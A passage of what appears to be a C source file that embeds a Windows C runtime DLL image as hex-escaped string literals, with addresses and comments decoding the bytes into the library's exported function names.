\"\\x63\\x68\\x67\\x73\\x69\\x67\\x6E\\x00\\x5F\\x63\\x68\\x6B\\x65\\x73\\x70\\x00\" // chgsign._chkesp.\n/* 77C2B7F0 */ \"\\x5F\\x63\\x68\\x6D\\x6F\\x64\\x00\\x5F\\x63\\x68\\x73\\x69\\x7A\\x65\\x00\\x5F\" // _chmod._chsize._\n/* 77C2B800 */ \"\\x63\\x6C\\x65\\x61\\x72\\x66\\x70\\x00\\x5F\\x63\\x6C\\x6F\\x73\\x65\\x00\\x5F\" // clearfp._close._\n/* 77C2B810 */ \"\\x63\\x6F\\x6D\\x6D\\x69\\x74\\x00\\x5F\\x63\\x6F\\x6D\\x6D\\x6F\\x64\\x65\\x00\" // commit._commode.\n/* 77C2B820 */ \"\\x5F\\x63\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x38\\x37\\x00\\x5F\\x63\\x6F\\x6E\\x74\" // _control87._cont\n/* 77C2B830 */ \"\\x72\\x6F\\x6C\\x66\\x70\\x00\\x5F\\x63\\x6F\\x70\\x79\\x73\\x69\\x67\\x6E\\x00\" // rolfp._copysign.\n/* 77C2B840 */ \"\\x5F\\x63\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x5F\\x63\\x70\\x75\\x74\\x73\\x00\" // _cprintf._cputs.\n/* 77C2B850 */ \"\\x5F\\x63\\x70\\x75\\x74\\x77\\x73\\x00\\x5F\\x63\\x72\\x65\\x61\\x74\\x00\\x5F\" // _cputws._creat._\n/* 77C2B860 */ \"\\x63\\x73\\x63\\x61\\x6E\\x66\\x00\\x5F\\x63\\x74\\x69\\x6D\\x65\\x36\\x34\\x00\" // cscanf._ctime64.\n/* 77C2B870 */ \"\\x5F\\x63\\x74\\x79\\x70\\x65\\x00\\x5F\\x63\\x77\\x61\\x69\\x74\\x00\\x5F\\x63\" // _ctype._cwait._c\n/* 77C2B880 */ \"\\x77\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x5F\\x63\\x77\\x73\\x63\\x61\\x6E\\x66\" // wprintf._cwscanf\n/* 77C2B890 */ \"\\x00\\x5F\\x64\\x61\\x79\\x6C\\x69\\x67\\x68\\x74\\x00\\x5F\\x64\\x73\\x74\\x62\" // ._daylight._dstb\n/* 77C2B8A0 */ \"\\x69\\x61\\x73\\x00\\x5F\\x64\\x75\\x70\\x00\\x5F\\x64\\x75\\x70\\x32\\x00\\x5F\" // ias._dup._dup2._\n/* 77C2B8B0 */ \"\\x65\\x63\\x76\\x74\\x00\\x5F\\x65\\x6E\\x64\\x74\\x68\\x72\\x65\\x61\\x64\\x00\" // ecvt._endthread.\n/* 77C2B8C0 */ \"\\x5F\\x65\\x6E\\x64\\x74\\x68\\x72\\x65\\x61\\x64\\x65\\x78\\x00\\x5F\\x65\\x6E\" // _endthreadex._en\n/* 77C2B8D0 */ \"\\x76\\x69\\x72\\x6F\\x6E\\x00\\x5F\\x65\\x6F\\x66\\x00\\x5F\\x65\\x72\\x72\\x6E\" // viron._eof._errn\n/* 77C2B8E0 */ \"\\x6F\\x00\\x5F\\x65\\x78\\x63\\x65\\x70\\x74\\x5F\\x68\\x61\\x6E\\x64\\x6C\\x65\" // o._except_handle\n/* 77C2B8F0 */ \"\\x72\\x32\\x00\\x5F\\x65\\x78\\x63\\x65\\x70\\x74\\x5F\\x68\\x61\\x6E\\x64\\x6C\" // r2._except_handl\n/* 77C2B900 */ \"\\x65\\x72\\x33\\x00\\x5F\\x65\\x78\\x65\\x63\\x6C\\x00\\x5F\\x65\\x78\\x65\\x63\" // er3._execl._exec\n/* 77C2B910 */ \"\\x6C\\x65\\x00\\x5F\\x65\\x78\\x65\\x63\\x6C\\x70\\x00\\x5F\\x65\\x78\\x65\\x63\" // le._execlp._exec\n/* 77C2B920 */ \"\\x6C\\x70\\x65\\x00\\x5F\\x65\\x78\\x65\\x63\\x76\\x00\\x5F\\x65\\x78\\x65\\x63\" // lpe._execv._exec\n/* 77C2B930 */ \"\\x76\\x65\\x00\\x5F\\x65\\x78\\x65\\x63\\x76\\x70\\x00\\x5F\\x65\\x78\\x65\\x63\" // ve._execvp._exec\n/* 77C2B940 */ \"\\x76\\x70\\x65\\x00\\x5F\\x65\\x78\\x69\\x74\\x00\\x5F\\x65\\x78\\x70\\x61\\x6E\" // vpe._exit._expan\n/* 77C2B950 */ \"\\x64\\x00\\x5F\\x66\\x63\\x6C\\x6F\\x73\\x65\\x61\\x6C\\x6C\\x00\\x5F\\x66\\x63\" // d._fcloseall._fc\n/* 77C2B960 */ \"\\x76\\x74\\x00\\x5F\\x66\\x64\\x6F\\x70\\x65\\x6E\\x00\\x5F\\x66\\x67\\x65\\x74\" // vt._fdopen._fget\n/* 77C2B970 */ \"\\x63\\x68\\x61\\x72\\x00\\x5F\\x66\\x67\\x65\\x74\\x77\\x63\\x68\\x61\\x72\\x00\" // char._fgetwchar.\n/* 77C2B980 */ \"\\x5F\\x66\\x69\\x6C\\x62\\x75\\x66\\x00\\x5F\\x66\\x69\\x6C\\x65\\x69\\x6E\\x66\" // _filbuf._fileinf\n/* 77C2B990 */ \"\\x6F\\x00\\x5F\\x66\\x69\\x6C\\x65\\x6C\\x65\\x6E\\x67\\x74\\x68\\x00\\x5F\\x66\" // o._filelength._f\n/* 77C2B9A0 */ \"\\x69\\x6C\\x65\\x6C\\x65\\x6E\\x67\\x74\\x68\\x69\\x36\\x34\\x00\\x5F\\x66\\x69\" // ilelengthi64._fi\n/* 77C2B9B0 */ \"\\x6C\\x65\\x6E\\x6F\\x00\\x5F\\x66\\x69\\x6E\\x64\\x63\\x6C\\x6F\\x73\\x65\\x00\" // leno._findclose.\n/* 77C2B9C0 */ \"\\x5F\\x66\\x69\\x6E\\x64\\x66\\x69\\x72\\x73\\x74\\x00\\x5F\\x66\\x69\\x6E\\x64\" // _findfirst._find\n/* 77C2B9D0 */ \"\\x66\\x69\\x72\\x73\\x74\\x36\\x34\\x00\\x5F\\x66\\x69\\x6E\\x64\\x66\\x69\\x72\" // first64._findfir\n/* 77C2B9E0 */ \"\\x73\\x74\\x69\\x36\\x34\\x00\\x5F\\x66\\x69\\x6E\\x64\\x6E\\x65\\x78\\x74\\x00\" // sti64._findnext.\n/* 77C2B9F0 */ \"\\x5F\\x66\\x69\\x6E\\x64\\x6E\\x65\\x78\\x74\\x36\\x34\\x00\\x5F\\x66\\x69\\x6E\" // _findnext64._fin\n/* 77C2BA00 */ \"\\x64\\x6E\\x65\\x78\\x74\\x69\\x36\\x34\\x00\\x5F\\x66\\x69\\x6E\\x69\\x74\\x65\" // dnexti64._finite\n/* 77C2BA10 */ \"\\x00\\x5F\\x66\\x6C\\x73\\x62\\x75\\x66\\x00\\x5F\\x66\\x6C\\x75\\x73\\x68\\x61\" // ._flsbuf._flusha\n/* 77C2BA20 */ \"\\x6C\\x6C\\x00\\x5F\\x66\\x6D\\x6F\\x64\\x65\\x00\\x5F\\x66\\x70\\x63\\x6C\\x61\" // ll._fmode._fpcla\n/* 77C2BA30 */ \"\\x73\\x73\\x00\\x5F\\x66\\x70\\x69\\x65\\x65\\x65\\x5F\\x66\\x6C\\x74\\x00\\x5F\" // ss._fpieee_flt._\n/* 77C2BA40 */ \"\\x66\\x70\\x72\\x65\\x73\\x65\\x74\\x00\\x5F\\x66\\x70\\x75\\x74\\x63\\x68\\x61\" // fpreset._fputcha\n/* 77C2BA50 */ \"\\x72\\x00\\x5F\\x66\\x70\\x75\\x74\\x77\\x63\\x68\\x61\\x72\\x00\\x5F\\x66\\x73\" // r._fputwchar._fs\n/* 77C2BA60 */ \"\\x6F\\x70\\x65\\x6E\\x00\\x5F\\x66\\x73\\x74\\x61\\x74\\x00\\x5F\\x66\\x73\\x74\" // open._fstat._fst\n/* 77C2BA70 */ \"\\x61\\x74\\x36\\x34\\x00\\x5F\\x66\\x73\\x74\\x61\\x74\\x69\\x36\\x34\\x00\\x5F\" // at64._fstati64._\n/* 77C2BA80 */ \"\\x66\\x74\\x69\\x6D\\x65\\x00\\x5F\\x66\\x74\\x69\\x6D\\x65\\x36\\x34\\x00\\x5F\" // ftime._ftime64._\n/* 77C2BA90 */ \"\\x66\\x74\\x6F\\x6C\\x00\\x5F\\x66\\x75\\x6C\\x6C\\x70\\x61\\x74\\x68\\x00\\x5F\" // ftol._fullpath._\n/* 77C2BAA0 */ \"\\x66\\x75\\x74\\x69\\x6D\\x65\\x00\\x5F\\x66\\x75\\x74\\x69\\x6D\\x65\\x36\\x34\" // futime._futime64\n/* 77C2BAB0 */ \"\\x00\\x5F\\x67\\x63\\x76\\x74\\x00\\x5F\\x67\\x65\\x74\\x5F\\x68\\x65\\x61\\x70\" // ._gcvt._get_heap\n/* 77C2BAC0 */ \"\\x5F\\x68\\x61\\x6E\\x64\\x6C\\x65\\x00\\x5F\\x67\\x65\\x74\\x5F\\x6F\\x73\\x66\" // _handle._get_osf\n/* 77C2BAD0 */ \"\\x68\\x61\\x6E\\x64\\x6C\\x65\\x00\\x5F\\x67\\x65\\x74\\x5F\\x73\\x62\\x68\\x5F\" // handle._get_sbh_\n/* 77C2BAE0 */ \"\\x74\\x68\\x72\\x65\\x73\\x68\\x6F\\x6C\\x64\\x00\\x5F\\x67\\x65\\x74\\x63\\x68\" // threshold._getch\n/* 77C2BAF0 */ \"\\x00\\x5F\\x67\\x65\\x74\\x63\\x68\\x65\\x00\\x5F\\x67\\x65\\x74\\x63\\x77\\x64\" // ._getche._getcwd\n/* 77C2BB00 */ \"\\x00\\x5F\\x67\\x65\\x74\\x64\\x63\\x77\\x64\\x00\\x5F\\x67\\x65\\x74\\x64\\x69\" // ._getdcwd._getdi\n/* 77C2BB10 */ \"\\x73\\x6B\\x66\\x72\\x65\\x65\\x00\\x5F\\x67\\x65\\x74\\x64\\x6C\\x6C\\x70\\x72\" // skfree._getdllpr\n/* 77C2BB20 */ \"\\x6F\\x63\\x61\\x64\\x64\\x72\\x00\\x5F\\x67\\x65\\x74\\x64\\x72\\x69\\x76\\x65\" // ocaddr._getdrive\n/* 77C2BB30 */ \"\\x00\\x5F\\x67\\x65\\x74\\x64\\x72\\x69\\x76\\x65\\x73\\x00\\x5F\\x67\\x65\\x74\" // ._getdrives._get\n/* 77C2BB40 */ \"\\x6D\\x61\\x78\\x73\\x74\\x64\\x69\\x6F\\x00\\x5F\\x67\\x65\\x74\\x6D\\x62\\x63\" // maxstdio._getmbc\n/* 77C2BB50 */ \"\\x70\\x00\\x5F\\x67\\x65\\x74\\x70\\x69\\x64\\x00\\x5F\\x67\\x65\\x74\\x73\\x79\" // p._getpid._getsy\n/* 77C2BB60 */ \"\\x73\\x74\\x69\\x6D\\x65\\x00\\x5F\\x67\\x65\\x74\\x77\\x00\\x5F\\x67\\x65\\x74\" // stime._getw._get\n/* 77C2BB70 */ \"\\x77\\x63\\x68\\x00\\x5F\\x67\\x65\\x74\\x77\\x63\\x68\\x65\\x00\\x5F\\x67\\x65\" // wch._getwche._ge\n/* 77C2BB80 */ \"\\x74\\x77\\x73\\x00\\x5F\\x67\\x6C\\x6F\\x62\\x61\\x6C\\x5F\\x75\\x6E\\x77\\x69\" // tws._global_unwi\n/* 77C2BB90 */ \"\\x6E\\x64\\x32\\x00\\x5F\\x67\\x6D\\x74\\x69\\x6D\\x65\\x36\\x34\\x00\\x5F\\x68\" // nd2._gmtime64._h\n/* 77C2BBA0 */ \"\\x65\\x61\\x70\\x61\\x64\\x64\\x00\\x5F\\x68\\x65\\x61\\x70\\x63\\x68\\x6B\\x00\" // eapadd._heapchk.\n/* 77C2BBB0 */ \"\\x5F\\x68\\x65\\x61\\x70\\x6D\\x69\\x6E\\x00\\x5F\\x68\\x65\\x61\\x70\\x73\\x65\" // _heapmin._heapse\n/* 77C2BBC0 */ \"\\x74\\x00\\x5F\\x68\\x65\\x61\\x70\\x75\\x73\\x65\\x64\\x00\\x5F\\x68\\x65\\x61\" // t._heapused._hea\n/* 77C2BBD0 */ \"\\x70\\x77\\x61\\x6C\\x6B\\x00\\x5F\\x68\\x79\\x70\\x6F\\x74\\x00\\x5F\\x69\\x36\" // pwalk._hypot._i6\n/* 77C2BBE0 */ \"\\x34\\x74\\x6F\\x61\\x00\\x5F\\x69\\x36\\x34\\x74\\x6F\\x77\\x00\\x5F\\x69\\x6E\" // 4toa._i64tow._in\n/* 77C2BBF0 */ \"\\x69\\x74\\x74\\x65\\x72\\x6D\\x00\\x5F\\x69\\x6E\\x70\\x00\\x5F\\x69\\x6E\\x70\" // itterm._inp._inp\n/* 77C2BC00 */ \"\\x64\\x00\\x5F\\x69\\x6E\\x70\\x77\\x00\\x5F\\x69\\x6F\\x62\\x00\\x5F\\x69\\x73\" // d._inpw._iob._is\n/* 77C2BC10 */ \"\\x61\\x74\\x74\\x79\\x00\\x5F\\x69\\x73\\x63\\x74\\x79\\x70\\x65\\x00\\x5F\\x69\" // atty._isctype._i\n/* 77C2BC20 */ \"\\x73\\x6D\\x62\\x62\\x61\\x6C\\x6E\\x75\\x6D\\x00\\x5F\\x69\\x73\\x6D\\x62\\x62\" // smbbalnum._ismbb\n/* 77C2BC30 */ \"\\x61\\x6C\\x70\\x68\\x61\\x00\\x5F\\x69\\x73\\x6D\\x62\\x62\\x67\\x72\\x61\\x70\" // alpha._ismbbgrap\n/* 77C2BC40 */ \"\\x68\\x00\\x5F\\x69\\x73\\x6D\\x62\\x62\\x6B\\x61\\x6C\\x6E\\x75\\x6D\\x00\\x5F\" // h._ismbbkalnum._\n/* 77C2BC50 */ \"\\x69\\x73\\x6D\\x62\\x62\\x6B\\x61\\x6E\\x61\\x00\\x5F\\x69\\x73\\x6D\\x62\\x62\" // ismbbkana._ismbb\n/* 77C2BC60 */ \"\\x6B\\x70\\x72\\x69\\x6E\\x74\\x00\\x5F\\x69\\x73\\x6D\\x62\\x62\\x6B\\x70\\x75\" // kprint._ismbbkpu\n/* 77C2BC70 */ \"\\x6E\\x63\\x74\\x00\\x5F\\x69\\x73\\x6D\\x62\\x62\\x6C\\x65\\x61\\x64\\x00\\x5F\" // nct._ismbblead._\n/* 77C2BC80 */ \"\\x69\\x73\\x6D\\x62\\x62\\x70\\x72\\x69\\x6E\\x74\\x00\\x5F\\x69\\x73\\x6D\\x62\" // ismbbprint._ismb\n/* 77C2BC90 */ \"\\x62\\x70\\x75\\x6E\\x63\\x74\\x00\\x5F\\x69\\x73\\x6D\\x62\\x62\\x74\\x72\\x61\" // bpunct._ismbbtra\n/* 77C2BCA0 */ \"\\x69\\x6C\\x00\\x5F\\x69\\x73\\x6D\\x62\\x63\\x61\\x6C\\x6E\\x75\\x6D\\x00\\x5F\" // il._ismbcalnum._\n/* 77C2BCB0 */ \"\\x69\\x73\\x6D\\x62\\x63\\x61\\x6C\\x70\\x68\\x61\\x00\\x5F\\x69\\x73\\x6D\\x62\" // ismbcalpha._ismb\n/* 77C2BCC0 */ \"\\x63\\x64\\x69\\x67\\x69\\x74\\x00\\x5F\\x69\\x73\\x6D\\x62\\x63\\x67\\x72\\x61\" // cdigit._ismbcgra\n/* 77C2BCD0 */ \"\\x70\\x68\\x00\\x5F\\x69\\x73\\x6D\\x62\\x63\\x68\\x69\\x72\\x61\\x00\\x5F\\x69\" // ph._ismbchira._i\n/* 77C2BCE0 */ \"\\x73\\x6D\\x62\\x63\\x6B\\x61\\x74\\x61\\x00\\x5F\\x69\\x73\\x6D\\x62\\x63\\x6C\" // smbckata._ismbcl\n/* 77C2BCF0 */ \"\\x30\\x00\\x5F\\x69\\x73\\x6D\\x62\\x63\\x6C\\x31\\x00\\x5F\\x69\\x73\\x6D\\x62\" // 0._ismbcl1._ismb\n/* 77C2BD00 */ \"\\x63\\x6C\\x32\\x00\\x5F\\x69\\x73\\x6D\\x62\\x63\\x6C\\x65\\x67\\x61\\x6C\\x00\" // cl2._ismbclegal.\n/* 77C2BD10 */ \"\\x5F\\x69\\x73\\x6D\\x62\\x63\\x6C\\x6F\\x77\\x65\\x72\\x00\\x5F\\x69\\x73\\x6D\" // _ismbclower._ism\n/* 77C2BD20 */ \"\\x62\\x63\\x70\\x72\\x69\\x6E\\x74\\x00\\x5F\\x69\\x73\\x6D\\x62\\x63\\x70\\x75\" // bcprint._ismbcpu\n/* 77C2BD30 */ \"\\x6E\\x63\\x74\\x00\\x5F\\x69\\x73\\x6D\\x62\\x63\\x73\\x70\\x61\\x63\\x65\\x00\" // nct._ismbcspace.\n/* 77C2BD40 */ \"\\x5F\\x69\\x73\\x6D\\x62\\x63\\x73\\x79\\x6D\\x62\\x6F\\x6C\\x00\\x5F\\x69\\x73\" // _ismbcsymbol._is\n/* 77C2BD50 */ \"\\x6D\\x62\\x63\\x75\\x70\\x70\\x65\\x72\\x00\\x5F\\x69\\x73\\x6D\\x62\\x73\\x6C\" // mbcupper._ismbsl\n/* 77C2BD60 */ \"\\x65\\x61\\x64\\x00\\x5F\\x69\\x73\\x6D\\x62\\x73\\x74\\x72\\x61\\x69\\x6C\\x00\" // ead._ismbstrail.\n/* 77C2BD70 */ \"\\x5F\\x69\\x73\\x6E\\x61\\x6E\\x00\\x5F\\x69\\x74\\x6F\\x61\\x00\\x5F\\x69\\x74\" // _isnan._itoa._it\n/* 77C2BD80 */ \"\\x6F\\x77\\x00\\x5F\\x6A\\x30\\x00\\x5F\\x6A\\x31\\x00\\x5F\\x6A\\x6E\\x00\\x5F\" // ow._j0._j1._jn._\n/* 77C2BD90 */ \"\\x6B\\x62\\x68\\x69\\x74\\x00\\x5F\\x6C\\x66\\x69\\x6E\\x64\\x00\\x5F\\x6C\\x6F\" // kbhit._lfind._lo\n/* 77C2BDA0 */ \"\\x61\\x64\\x64\\x6C\\x6C\\x00\\x5F\\x6C\\x6F\\x63\\x61\\x6C\\x5F\\x75\\x6E\\x77\" // addll._local_unw\n/* 77C2BDB0 */ \"\\x69\\x6E\\x64\\x32\\x00\\x5F\\x6C\\x6F\\x63\\x61\\x6C\\x74\\x69\\x6D\\x65\\x36\" // ind2._localtime6\n/* 77C2BDC0 */ \"\\x34\\x00\\x5F\\x6C\\x6F\\x63\\x6B\\x00\\x5F\\x6C\\x6F\\x63\\x6B\\x69\\x6E\\x67\" // 4._lock._locking\n/* 77C2BDD0 */ \"\\x00\\x5F\\x6C\\x6F\\x67\\x62\\x00\\x5F\\x6C\\x6F\\x6E\\x67\\x6A\\x6D\\x70\\x65\" // ._logb._longjmpe\n/* 77C2BDE0 */ \"\\x78\\x00\\x5F\\x6C\\x72\\x6F\\x74\\x6C\\x00\\x5F\\x6C\\x72\\x6F\\x74\\x72\\x00\" // x._lrotl._lrotr.\n/* 77C2BDF0 */ \"\\x5F\\x6C\\x73\\x65\\x61\\x72\\x63\\x68\\x00\\x5F\\x6C\\x73\\x65\\x65\\x6B\\x00\" // _lsearch._lseek.\n/* 77C2BE00 */ \"\\x5F\\x6C\\x73\\x65\\x65\\x6B\\x69\\x36\\x34\\x00\\x5F\\x6C\\x74\\x6F\\x61\\x00\" // _lseeki64._ltoa.\n/* 77C2BE10 */ \"\\x5F\\x6C\\x74\\x6F\\x77\\x00\\x5F\\x6D\\x61\\x6B\\x65\\x70\\x61\\x74\\x68\\x00\" // _ltow._makepath.\n/* 77C2BE20 */ \"\\x5F\\x6D\\x62\\x62\\x74\\x6F\\x6D\\x62\\x63\\x00\\x5F\\x6D\\x62\\x62\\x74\\x79\" // _mbbtombc._mbbty\n/* 77C2BE30 */ \"\\x70\\x65\\x00\\x5F\\x6D\\x62\\x63\\x61\\x73\\x65\\x6D\\x61\\x70\\x00\\x5F\\x6D\" // pe._mbcasemap._m\n/* 77C2BE40 */ \"\\x62\\x63\\x63\\x70\\x79\\x00\\x5F\\x6D\\x62\\x63\\x6A\\x69\\x73\\x74\\x6F\\x6A\" // bccpy._mbcjistoj\n/* 77C2BE50 */ \"\\x6D\\x73\\x00\\x5F\\x6D\\x62\\x63\\x6A\\x6D\\x73\\x74\\x6F\\x6A\\x69\\x73\\x00\" // ms._mbcjmstojis.\n/* 77C2BE60 */ \"\\x5F\\x6D\\x62\\x63\\x6C\\x65\\x6E\\x00\\x5F\\x6D\\x62\\x63\\x74\\x6F\\x68\\x69\" // _mbclen._mbctohi\n/* 77C2BE70 */ \"\\x72\\x61\\x00\\x5F\\x6D\\x62\\x63\\x74\\x6F\\x6B\\x61\\x74\\x61\\x00\\x5F\\x6D\" // ra._mbctokata._m\n/* 77C2BE80 */ \"\\x62\\x63\\x74\\x6F\\x6C\\x6F\\x77\\x65\\x72\\x00\\x5F\\x6D\\x62\\x63\\x74\\x6F\" // bctolower._mbcto\n/* 77C2BE90 */ \"\\x6D\\x62\\x62\\x00\\x5F\\x6D\\x62\\x63\\x74\\x6F\\x75\\x70\\x70\\x65\\x72\\x00\" // mbb._mbctoupper.\n/* 77C2BEA0 */ \"\\x5F\\x6D\\x62\\x63\\x74\\x79\\x70\\x65\\x00\\x5F\\x6D\\x62\\x73\\x62\\x74\\x79\" // _mbctype._mbsbty\n/* 77C2BEB0 */ \"\\x70\\x65\\x00\\x5F\\x6D\\x62\\x73\\x63\\x61\\x74\\x00\\x5F\\x6D\\x62\\x73\\x63\" // pe._mbscat._mbsc\n/* 77C2BEC0 */ \"\\x68\\x72\\x00\\x5F\\x6D\\x62\\x73\\x63\\x6D\\x70\\x00\\x5F\\x6D\\x62\\x73\\x63\" // hr._mbscmp._mbsc\n/* 77C2BED0 */ \"\\x6F\\x6C\\x6C\\x00\\x5F\\x6D\\x62\\x73\\x63\\x70\\x79\\x00\\x5F\\x6D\\x62\\x73\" // oll._mbscpy._mbs\n/* 77C2BEE0 */ \"\\x63\\x73\\x70\\x6E\\x00\\x5F\\x6D\\x62\\x73\\x64\\x65\\x63\\x00\\x5F\\x6D\\x62\" // cspn._mbsdec._mb\n/* 77C2BEF0 */ \"\\x73\\x64\\x75\\x70\\x00\\x5F\\x6D\\x62\\x73\\x69\\x63\\x6D\\x70\\x00\\x5F\\x6D\" // sdup._mbsicmp._m\n/* 77C2BF00 */ \"\\x62\\x73\\x69\\x63\\x6F\\x6C\\x6C\\x00\\x5F\\x6D\\x62\\x73\\x69\\x6E\\x63\\x00\" // bsicoll._mbsinc.\n/* 77C2BF10 */ \"\\x5F\\x6D\\x62\\x73\\x6C\\x65\\x6E\\x00\\x5F\\x6D\\x62\\x73\\x6C\\x77\\x72\\x00\" // _mbslen._mbslwr.\n/* 77C2BF20 */ \"\\x5F\\x6D\\x62\\x73\\x6E\\x62\\x63\\x61\\x74\\x00\\x5F\\x6D\\x62\\x73\\x6E\\x62\" // _mbsnbcat._mbsnb\n/* 77C2BF30 */ \"\\x63\\x6D\\x70\\x00\\x5F\\x6D\\x62\\x73\\x6E\\x62\\x63\\x6E\\x74\\x00\\x5F\\x6D\" // cmp._mbsnbcnt._m\n/* 77C2BF40 */ \"\\x62\\x73\\x6E\\x62\\x63\\x6F\\x6C\\x6C\\x00\\x5F\\x6D\\x62\\x73\\x6E\\x62\\x63\" // bsnbcoll._mbsnbc\n/* 77C2BF50 */ \"\\x70\\x79\\x00\\x5F\\x6D\\x62\\x73\\x6E\\x62\\x69\\x63\\x6D\\x70\\x00\\x5F\\x6D\" // py._mbsnbicmp._m\n/* 77C2BF60 */ \"\\x62\\x73\\x6E\\x62\\x69\\x63\\x6F\\x6C\\x6C\\x00\\x5F\\x6D\\x62\\x73\\x6E\\x62\" // bsnbicoll._mbsnb\n/* 77C2BF70 */ \"\\x73\\x65\\x74\\x00\\x5F\\x6D\\x62\\x73\\x6E\\x63\\x61\\x74\\x00\\x5F\\x6D\\x62\" // set._mbsncat._mb\n/* 77C2BF80 */ \"\\x73\\x6E\\x63\\x63\\x6E\\x74\\x00\\x5F\\x6D\\x62\\x73\\x6E\\x63\\x6D\\x70\\x00\" // snccnt._mbsncmp.\n/* 77C2BF90 */ \"\\x5F\\x6D\\x62\\x73\\x6E\\x63\\x6F\\x6C\\x6C\\x00\\x5F\\x6D\\x62\\x73\\x6E\\x63\" // _mbsncoll._mbsnc\n/* 77C2BFA0 */ \"\\x70\\x79\\x00\\x5F\\x6D\\x62\\x73\\x6E\\x65\\x78\\x74\\x63\\x00\\x5F\\x6D\\x62\" // py._mbsnextc._mb\n/* 77C2BFB0 */ \"\\x73\\x6E\\x69\\x63\\x6D\\x70\\x00\\x5F\\x6D\\x62\\x73\\x6E\\x69\\x63\\x6F\\x6C\" // snicmp._mbsnicol\n/* 77C2BFC0 */ \"\\x6C\\x00\\x5F\\x6D\\x62\\x73\\x6E\\x69\\x6E\\x63\\x00\\x5F\\x6D\\x62\\x73\\x6E\" // l._mbsninc._mbsn\n/* 77C2BFD0 */ \"\\x73\\x65\\x74\\x00\\x5F\\x6D\\x62\\x73\\x70\\x62\\x72\\x6B\\x00\\x5F\\x6D\\x62\" // set._mbspbrk._mb\n/* 77C2BFE0 */ \"\\x73\\x72\\x63\\x68\\x72\\x00\\x5F\\x6D\\x62\\x73\\x72\\x65\\x76\\x00\\x5F\\x6D\" // srchr._mbsrev._m\n/* 77C2BFF0 */ \"\\x62\\x73\\x73\\x65\\x74\\x00\\x5F\\x6D\\x62\\x73\\x73\\x70\\x6E\\x00\\x5F\\x6D\" // bsset._mbsspn._m\n/* 77C2C000 */ \"\\x62\\x73\\x73\\x70\\x6E\\x70\\x00\\x5F\\x6D\\x62\\x73\\x73\\x74\\x72\\x00\\x5F\" // bsspnp._mbsstr._\n/* 77C2C010 */ \"\\x6D\\x62\\x73\\x74\\x6F\\x6B\\x00\\x5F\\x6D\\x62\\x73\\x74\\x72\\x6C\\x65\\x6E\" // mbstok._mbstrlen\n/* 77C2C020 */ \"\\x00\\x5F\\x6D\\x62\\x73\\x75\\x70\\x72\\x00\\x5F\\x6D\\x65\\x6D\\x63\\x63\\x70\" // ._mbsupr._memccp\n/* 77C2C030 */ \"\\x79\\x00\\x5F\\x6D\\x65\\x6D\\x69\\x63\\x6D\\x70\\x00\\x5F\\x6D\\x6B\\x64\\x69\" // y._memicmp._mkdi\n/* 77C2C040 */ \"\\x72\\x00\\x5F\\x6D\\x6B\\x74\\x65\\x6D\\x70\\x00\\x5F\\x6D\\x6B\\x74\\x69\\x6D\" // r._mktemp._mktim\n/* 77C2C050 */ \"\\x65\\x36\\x34\\x00\\x5F\\x6D\\x73\\x69\\x7A\\x65\\x00\\x5F\\x6E\\x65\\x78\\x74\" // e64._msize._next\n/* 77C2C060 */ \"\\x61\\x66\\x74\\x65\\x72\\x00\\x5F\\x6F\\x6E\\x65\\x78\\x69\\x74\\x00\\x5F\\x6F\" // after._onexit._o\n/* 77C2C070 */ \"\\x70\\x65\\x6E\\x00\\x5F\\x6F\\x70\\x65\\x6E\\x5F\\x6F\\x73\\x66\\x68\\x61\\x6E\" // pen._open_osfhan\n/* 77C2C080 */ \"\\x64\\x6C\\x65\\x00\\x5F\\x6F\\x73\\x70\\x6C\\x61\\x74\\x66\\x6F\\x72\\x6D\\x00\" // dle._osplatform.\n/* 77C2C090 */ \"\\x5F\\x6F\\x73\\x76\\x65\\x72\\x00\\x5F\\x6F\\x75\\x74\\x70\\x00\\x5F\\x6F\\x75\" // _osver._outp._ou\n/* 77C2C0A0 */ \"\\x74\\x70\\x64\\x00\\x5F\\x6F\\x75\\x74\\x70\\x77\\x00\\x5F\\x70\\x63\\x6C\\x6F\" // tpd._outpw._pclo\n/* 77C2C0B0 */ \"\\x73\\x65\\x00\\x5F\\x70\\x63\\x74\\x79\\x70\\x65\\x00\\x5F\\x70\\x67\\x6D\\x70\" // se._pctype._pgmp\n/* 77C2C0C0 */ \"\\x74\\x72\\x00\\x5F\\x70\\x69\\x70\\x65\\x00\\x5F\\x70\\x6F\\x70\\x65\\x6E\\x00\" // tr._pipe._popen.\n/* 77C2C0D0 */ \"\\x5F\\x70\\x75\\x72\\x65\\x63\\x61\\x6C\\x6C\\x00\\x5F\\x70\\x75\\x74\\x63\\x68\" // _purecall._putch\n/* 77C2C0E0 */ \"\\x00\\x5F\\x70\\x75\\x74\\x65\\x6E\\x76\\x00\\x5F\\x70\\x75\\x74\\x77\\x00\\x5F\" // ._putenv._putw._\n/* 77C2C0F0 */ \"\\x70\\x75\\x74\\x77\\x63\\x68\\x00\\x5F\\x70\\x75\\x74\\x77\\x73\\x00\\x5F\\x70\" // putwch._putws._p\n/* 77C2C100 */ \"\\x77\\x63\\x74\\x79\\x70\\x65\\x00\\x5F\\x72\\x65\\x61\\x64\\x00\\x5F\\x72\\x65\" // wctype._read._re\n/* 77C2C110 */ \"\\x73\\x65\\x74\\x73\\x74\\x6B\\x6F\\x66\\x6C\\x77\\x00\\x5F\\x72\\x6D\\x64\\x69\" // setstkoflw._rmdi\n/* 77C2C120 */ \"\\x72\\x00\\x5F\\x72\\x6D\\x74\\x6D\\x70\\x00\\x5F\\x72\\x6F\\x74\\x6C\\x00\\x5F\" // r._rmtmp._rotl._\n/* 77C2C130 */ \"\\x72\\x6F\\x74\\x72\\x00\\x5F\\x73\\x61\\x66\\x65\\x5F\\x66\\x64\\x69\\x76\\x00\" // rotr._safe_fdiv.\n/* 77C2C140 */ \"\\x5F\\x73\\x61\\x66\\x65\\x5F\\x66\\x64\\x69\\x76\\x72\\x00\\x5F\\x73\\x61\\x66\" // _safe_fdivr._saf\n/* 77C2C150 */ \"\\x65\\x5F\\x66\\x70\\x72\\x65\\x6D\\x00\\x5F\\x73\\x61\\x66\\x65\\x5F\\x66\\x70\" // e_fprem._safe_fp\n/* 77C2C160 */ \"\\x72\\x65\\x6D\\x31\\x00\\x5F\\x73\\x63\\x61\\x6C\\x62\\x00\\x5F\\x73\\x63\\x70\" // rem1._scalb._scp\n/* 77C2C170 */ 